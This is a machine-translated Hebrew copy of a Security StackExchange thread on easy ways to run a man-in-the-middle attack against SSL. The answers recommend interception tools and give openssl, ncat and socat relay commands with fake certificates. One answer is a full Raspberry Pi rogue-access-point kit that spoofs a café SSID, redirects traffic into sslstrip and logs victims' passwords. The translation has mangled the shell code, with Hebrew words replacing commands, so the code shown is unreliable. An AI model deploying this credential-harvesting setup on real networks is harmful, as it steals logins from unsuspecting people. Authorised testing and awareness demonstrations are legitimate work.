שְׁאֵלָה:
מהי דרך קלה לבצע התקפה של אדם באמצע ב- SSL?
Polynomial
2013-03-29 18:09:43 UTC
view on stackexchange narkive permalink

ברצוני לבצע התקפה של אדם באמצע על חיבורי SSL בין לקוחות לשרת.

בהנחה הבאה:

  • אני ' קיבלתי אישור שהלקוח יקבל, באמצעות אימות אישורים לקוי או באמצעים אחרים.
  • אני יודע את כתובת ה- IP של השרת שאני מנסה להתחזות אליו ואני נמצא במצב ברשת לעשות דברים כמו זיוף ARP.
  • הפרוטוקול הבסיסי יכול להיות כל דבר, החל מ- HTTP ועד דברים מותאמים אישית / קניינית.

יכולתי לכתוב קצת קוד כדי להאזין ליציאה , הגש את האישור ויזם SSL, ואז העביר דברים כ- proxy שקוף, ואז בצע זיוף ARP כדי להפנות אלי את התנועה, אבל זה הרבה מאמץ והופך להיות מסורבל כשעובדים על מבחן שיש לו מגבלת זמן הדוקה.

מהי דרך מהירה / קלה לבצע התקפה של איש באמצע? האם יש כלים שנועדו להקל על כך בצורה פשוטה, ללא הרבה תצורה? משהו שמתחזק באופן פעיל הוא יתרון.

חָמֵשׁ תשובות:
mr.spuratic
2013-03-29 18:42:42 UTC
view on stackexchange narkive permalink

עודכן:

  • עבור HTTP אתה יכול להשתמש ב proxy של Burp Suite (Java) , או mitmproxy.

  • tcpcatcher הוא לכידת GUI מבוססת Java כללית יותר ולשנות את ה- proxy שעשוי להיות קרוב יותר לדרישות שלך, זה כולל פענוח ושינוי תוכן (ידני ותכנותי). זה מוטה HTTP, אך מקבל כל TCP. יש לו תמיכה ב- SSL, אם כי נראה שהחסרון היחיד אין דרך (מתועדת) להשתמש בתעודת ה ספציפית שלך בלבד, אלא רק בטיסה. תוכלו להשתמש באחת מהאפשרויות שלמטה כדי לעקוף את זה.

  • ettercap כולל תכונות עבור ARP, ICMP (redirect), "התערבויות" של DNS ו- DHCP, ותומך ב- MITM SSL ישיר (אם כי לא כרגע באמצעות GUI, אתה צריך להתעסק עם conf ו / או שורת הפקודה). נראה שזה הכל-באחד הטוב ביותר למטרות רבות ביותר.
  • sslsplit הוא כלי CLI שימושי נוסף, זה (בעיקר) ליירוט ו יומן, לא שינוי. זה מהיר יותר להתחיל איתו מאשר לאחרcap ויש לו תכונות כמו בדיקת SNI, יצירת תעודות דינמיות, תמיכה ב- * BSD ו- Linux FW / NAT ו- OCSP / HPKP / אמצעי נגד SPDY עבור HTTPS. אתה עדיין צריך להביא את התנועה ל את זה.

אם אתה רוצה אגנוסטיקה מהירה, נמוכה וטכנולוגית, אתה יכול להשיג הכי הדרך לשם עם OpenSSL רק על תיבת יוניקס:

  mkfifo בקשת תגובהopenssl s_server -quiet -no_ssl2-צופן AES128-SHA \ -קבלה 443 -cert fake.crt -key fake.key תגובת < | טי -א בקשת אופנססל s_client-שקט -תחבר www.server.com:443 בקשה < | טי-תגובה  

-שקט מאפשר גם -ign_eof המדכא טיפול מיוחד בתווים בתחילת השורה (עבור קלט שנאגר בשורה), כמו "Q" לסיום. s_client תומך גם ביכולות STARTTLS בסיסיות: SMTP, POP3, IMAP, FTP (auth), XMPP ו- TELNET (מ- OpenSSL-1.1).

התחל כל openssl קוד> במסוף אחר. החלף את ה- טי במשהו עם תסריט כדי לשנות בקשות ותשובות במידת הצורך. זה לא הכי חזק, אבל זה עשוי להיות שימושי. הוא תומך ב- DTLS, אם תזדקק לכך, תמיכה ב- IPv6 דורשת OpenSSL-1.1. ( GnuTLS תומך ב- IPv6, ומכיוון שגם ל- v3.0 יש תמיכה ב- DTLS, כמעט בוודאות תוכלו לעשות משהו דומה עם gnutls-serv ו- gnutls-cli , עדיין לא ניסיתי זאת.)

ncat עם אפשרות -exec שלה אמורה לעבוד גם:

  ncat --ssl --ssl-cert fake.crt --ssl-key fake.key \ --sh-exec "openssl s_client -quiet -connect www.server.com:443 "\ -kl 127.0.0.1 4443  

אתה יכול פשוט להשתמש ב" --exec "ולעטוף את הלקוח שלך בסקריפט במקום זאת. עם s_client זה עוזר מאוד לביצועים ליצור מראש קובץ הפעלה, ואז להוסיף -sess_in ssl.sess -sess_out ssl.sess לקריאותיך.

שוב, אם אתה זקוק לתסריט / קוד ה- MITM בעצמך socat היא אפשרות טובה נוספת (וכנראה האיתנה ביותר):

  CERT = "cert = test.crt, key = test.key, verify = 0" SSL = "cipher = AES128-SHA, method = TLSv1" socat \ OPENSSL-LISTEN: 4443, bind = 127.0. 0.1, reuseaddr, $ CERT, $ SSL, fork \ EXEC: mitm.sh  

עם קו אחד כמו openssl s_client -quiet -connect www.server.com:443 ב mitm.sh מלכתחילה, עובד בדיוק כמו לקוח inetd .

stunnel הוא יותר proxy מאשר socat, יש לו גדול יתרון שאני לא רואה בשום מקום אחר: הוא תומך ב שדרוגי TLS / פרוטוקול / STARTTLS, עבור POP3, IMAP, SMTP וכמה אחרים במצבי לקוח ושרת; אף על פי ש- LDAP ו- FTP הם מחדלים בולטים (האחרון מובן). ניתן להשתמש במצב (em) inetd שלה בדיוק כמו באפשרויות "exec" שלמעלה.

ל שינוי פרוטוקולי אינטרנט נפוצים מבוססי טקסט באמצעות בשיטות אלה יתכן שתצליחו לברוח עם sed (כמו סקריפט ידידותי יותר לחיבור נטו) או scripting מצפה קל יותר.

ה- proxy הפרוטוקולי המרובה נציג תומך גם בטיפול חיצוני (כמו inetd) ותמיכה ב- scripting משולב להתאמה , סינון וכתיבה מחדש עבור תת-קבוצה של הפרוטוקולים הנתמכים.

הדברים היחידים האחרים שאני יכול לחשוב עליהם בסמוך לפרוקסי MITM פרוטוקולים כלליים אגנוסטיים הם כלים מטשטשים, כמו proxyfuzz , או מודולרים מרובי פרוטוקולים כמו backfuzz (היזהר בחיפוש אחר האחרון ;-).

כלים אחרים שעשויים להיות שימושיים (להפניית תעבורה שגויה) כוללים:

גם נתקלתי בהפניות ל- Zorp כמה פעמים תוך כדי חיטוט בהערות שלי, לא חופשי שביתה> זמינה גם בפרסומת (אין לי שייכות) וגם בגרסת GPL. ראוי להזכיר זאת, בשל טענותיה בהיותה חומת אש / שער מודולרי, המאפשר הרחבה (דרך Python). בדיקת TLS נתמכת בגרסת GPL (SSH ואחרים נראים מוגבלים לגרסה שאינה GPL).

תמיד חשבתי ש- Burp מכוון לתעבורת HTTP (S), ולא לנתונים בסיסיים שרירותיים. כמו כן, האם זה לא מחייב אותך להגדיר את שרת ה- Burp כ- proxy של SOCKS במחשב היעד? לא הייתי מודע לכך שהייתה מובנית שום פונקציונליות של זיוף ARP או פיצ'רים אחרים.
יש לו פונקציונליות פרוקסי שקופה, אבל זה נראה מוגבל ל- HTTP, וזה יצטרך שתכוון אליו תנועה ... תשלח ותחבר אותו הכי טוב שאוכל להציע כרגע.
OpenSSL s_client & s_server אכן מטפלים ב- IPv6 מאז 1.1.0 בשנת 2016. אך הנתונים של s_client כלפי מעלה טופלו ועדיין מטופלים כקווים, בתוספת תווים ראשוניים מסוימים מעובדים באופן פנימי ולא נשלחים אלא ב 1.1.0 למעלה אם אתה מציין -פקודות לא.כך זה עשוי לעבוד מלבד HTTPS לדברים כמו SMTPS, POP3S, IMAPS (ו- btw זה אכן תומך בגרסה בסיסית של -starttls לשלושה אלה) אך לא דברים כמו SNMPS, LDAPS.
תודה @dave_thompson_085.'-שקט' מאפשר את '-ign_eof' אשר מבטל את הטיפול בתווים ראשוניים.מְעוּדכָּן.
BigCowPi
2013-03-30 00:59:51 UTC
view on stackexchange narkive permalink

הנה פוסט מ- הבלוג שלי שכולל שימוש ב- SSLStrip בהתקפת MITM עם Raspberry Pi - היה צריך להוריד אותו מכיוון ש- Blogger של Google לא אהב את זה, אז תוכן זה מודבק מ- Evernote :)

כחלק מהפגנה למודעות אבטחה, הקמתי את ה- AP שלי אלחוטי 3 גרם כדי לפשט SSL מאתרים מאובטחים ולקצור את פרטי הכניסה. אולי אתה מכיר את זה בהקשר של התקפות MITM, אולם מכיוון שה- Pi הוא השער, אין צורך להרעיל את ה- ARP את הרשת וכל העניין פועל מהר יותר. רציתי להראות כמה קל יהיה למישהו להקים AP אלחוטי המספק אינטרנט בחינם, עם הציוד מוסתר - אולי בתרמיל - ולשבת במקום ציבורי ותופס פרטי כניסה בלי שאיש יחשוד בדבר *. בעתיד הייתי רוצה לעשות זאת בזמן הפעלת ה- Pi מבנק סוללות.

  • הוויתור העיקרי שהמתקפה מתרחשת הוא שסרגל הניווט בדפדפן כבר לא מופיע 'https:' בתחילת כתובת האתר.

להלן תיאור התסריטים:

תפריט

סקריפט זה תפריט פשוט עבור באמצעות סקריפטים קציר אישורים. הוא מועתק מהבלוג של ג'רואן דוגגן, ונערך כך שיתאים. יש לשנות את החלקים המודגשים לספריה המכילה את הסקריפטים.

menu.sh

  #! / Bin / bash ## Script כדי לבצע פעולות מערכת נפוצות # ואילו: doclearecho "***********************" הד "* קציר אישורים *" הד "************ ************ "הד" * [1] שנה SSID * "הד" * [2] פתח AP * "הד" * [3] התחל SSLStrip * "הד" * [4] עצור SSLStrip * "הד" * [5] AP מאובטח * "הד" * [6] הצג אישורי אישורים "* [Q] צא *" הד "******************* ***** "הד -נ" הזן את בחירת התפריט שלך: "קרא את הקופסה שלך $ yourch in1) /home/pi/cred_harv/changeSsid.sh ;; 2) /home/pi/cred_harv/makeOpen.sh ;; 3) /home/pi/cred_harv/sslStrip.sh ;; 4) /home/pi/cred_harv/tidySslStrip.sh ;; 5) /home/pi/cred_harv/makeSecure.sh ;; 6) / home / pi / cred_harv / viewCreds .sh ;; Q) יציאה 0 ;;
*) הד "אופס !!! אנא בחר בחירה 1,2,3 או 4"; הד "לחץ על Enter כדי להמשיך ..." ; read ;; esacdone  

שנה SSID

כדי שמבצר האישורים של Pi יופיע אמין, עלינו להיות מסוגלים לשנות את ה- SSID - השם שכולם רואים בו כשהם לחפש רשתות זמינות - כדי להתאים לסביבה הנוכחית שלנו. ישב במקדונלדס? שנה את ה- SSID ל- 'Wifi Customer Wifi Free של מקדונלדס' או משהו כזה.

בהיותה קציר אישורי ה- Pi חסר ראש, הדרך הקלה ביותר לעשות זאת תהיה SSH ב- Wifi והפעל סקריפט פשוט.

התסריט ישתמש בפקודת Sed. מדף האיש Sed: Sed הוא עורך זרמים. עורך זרם משמש לביצוע טרנספורמציות בסיסיות בזרם קלט (קובץ או קלט מצינור).

לכן נוכל להחליף את הערך לשם SSID בקובץ hostapd.conf באמצעות Sed. דף האיש מציין כי הדגל '-i' משמש לשינויים בתוך השורה - ככאלה, שינויים חיים שלא יוצרים עותק נוסף של הקובץ. כדי להחליף את ה- SSID, תחביר הפקודה המלא יהיה:

  sed -i 's / STRING_TO_FIND / STRING_TO_REPLACE_WITH / g' FILE  

ה- 's' ו- 'g' בתחילת ובסוף החיפוש והחלפת המחרוזת מגדירים את סוג החיפוש והחלפה שיבוצע STRING_TO_FIND שלנו יהיה 'SSID = Pifi', ו- STRING_TO_REPLACE יהיה 'SSID = Wifi לקוח חינם של McDonalds' בזה דוגמא. FILE הוא הקובץ /etc/hostapd.conf ונותן לנו את הפקודה:

  sed -i's / SSID = Pifi / McDonalds Wifi Customer Wifi / g '/ etc / hostapd / hostapd. conf  

צריך להפעיל מחדש את שירות hostapd על מנת להחיל את השינוי:

  הפעלה מחדש של sudo hostapd  

הסקריפט הסופי שהגעתי אליו מקבל את שם ה- SSID הנוכחי, מציג אותו ואז מבקש מהמשתמש להזין את ה- SSID הרצוי. זה מועבר ל- 'sed' שמבצע עריכה מקוונת של hostapd.conf, ומפעיל מחדש את השירות כדי להחיל את השינוי.

changeSsid.sh

  #! / bin / bashcurrentSSID = `cat /etc/hostapd/hostapd.conf | grep -P -o '(? < = ssid =) [A-Za-z0-9] *' # הדגל -o פירושו הדפסה תואמת רק כלל grep #: http://stackoverflow.com/questions/1247812/ im-stuck-in-trying-to-grep-anything-just-after-nameecho SSID הנוכחי הוא $ currentSSIDecho SSID מבוקש: קרא xecho 'שינוי SSID'sudo sed -i "s / ssid = $ currentSSID / ssid = $ x / g "/etc/hostapd/hostapd.confecho 'שנה OK'echo' הפעלה מחדש של שירות hostapd'sudo service hostapd הפעלה מחדש  

הפוך את הרשת לפתוח

makeOpen.sh

סקריפט זה משתמש ב- 'sed' כדי להגיב על השורה ב- hostapd.conf המאפשרת אבטחת wpa - זה גורם ל- AP להיפתח כך שכולם יוכלו להצטרף אליו. שירות hostapd מופעל מחדש כדי לאפשר את השינוי.

  #! / Bin / bashecho 'השבתת אבטחת AP (AP פתוח כעת)' sudo sed -i 's / wpa = 2 / # wpa = 2 / g '/etc/hostapd/hostapd.confsudo שירות hostapd הפעלה מחדש  

הפעל SSLStrip

sslStrip.sh

סקריפט זה מריץ SSLStrip , אשר 'מזייף' את הגנת ה- SSL מאתרים מאובטחים, ומאפשר לקרוא אישורי כניסה בטקסט רגיל. תוכל למצוא מידע נוסף באתר SSLStrip.

  #! / Bin / bashecho "עריכת Iptables והתחלת sslstrip" sudo iptables -t nat -A PREROUTING -p tcp - יעד-יציאה 80 -j REDIRECT - ליציאה 10000sudo sslstrip -p -k -w /home/pi/cred_harv/ssl.log 2> / dev / null &  

סגור SSLStrip

סקריפט זה מסיר את כלל הניתוב מ- iptables, ומאפשר גלישה רגילה שוב. זה גם הורג את תהליך sslstrip.

tidySslStrip.sh

  #! / Bin / bashecho "סגירת SSLStrip וניקוי iptables" sudo iptables -t nat -D PREROUTING - p tcp - destination-port 80 -j REDIRECT - to port 10000 sudo killall sslstrip  

הפוך את הרשת לאבטחה

סקריפט זה משתמש ב- 'sed' כדי להפעיל מחדש קו ה- wpa ב- hostapd.conf, מה שהופך את ה- AP לאבטח שוב.

makeSecure.sh

  #! / bin / bashecho 'הפעלת אבטחת AP (AP כבר מאובטח) '
sudo sed -i 's / # wpa = 2 / wpa = 2 / g' /etc/hostapd/hostapd.confsudo שירות hostapd הפעלה מחדש  

אם אתה מעתיק ומדביק אותם באופן ידני לתסריטים , זכור להפוך אותם להפעלה באמצעות:

sudo chmod + x SCRIPT_NAME pr>

הצגת אישורים

סקריפט זה פשוט פותח את ה- SSLStrip קובץ יומן כדי שתוכלו לחפש בו שמות משתמש וסיסמאות - יש זבל רב בקובץ, אבל הם נמצאים שם!

  #! / bin / bashsudo nano / home / pi /cred_harv/ssl.log  
dudebrobro
2013-03-29 18:27:14 UTC
view on stackexchange narkive permalink

SSLStrip יהיה כנראה שימושי להגדרת בדיקה או הדגמה של MITM. זה כלי פיתון שבו אתה יכול להשתמש בזיוף ארפ כדי להגדיר את MiTM. זה יכול לערער הפניות מ- http ל- https. ניתן גם להגדיר אותו לשימוש עם אישור כך שהקורבן יתחבר אליך דרך ssl ותתחבר ליעד הראשוני שלו. יש סרטון בדף Moxie Marlinspike שמדגים חלק מהשימושים בו.

Liudvikas Bukys
2014-07-25 17:30:32 UTC
view on stackexchange narkive permalink

Perl IO :: Socket :: SSL :: Intercept היא תוספת בולטת נוספת להצעות המועילות לעיל.

netresec
2019-10-09 16:55:30 UTC
view on stackexchange narkive permalink

PolarProxy יכול ליצור קבצי PCAP עם תעבורת TLS מפוענחת, כגון HTTP ו- HTTP / 2. אתה יכול אפילו להגדיר אותו לפענוח FTPS / IMAPS / SMTPS וכו '.

הצהרת אחריות: PolarProxy הוא כלי חינמי שפותח ומתוחזק על ידינו ב- Netresec.



שאלה ותשובה זו תורגמה אוטומטית מהשפה האנגלית.התוכן המקורי זמין ב- stackexchange, ואנו מודים לו על רישיון cc by-sa 3.0 עליו הוא מופץ.
Loading...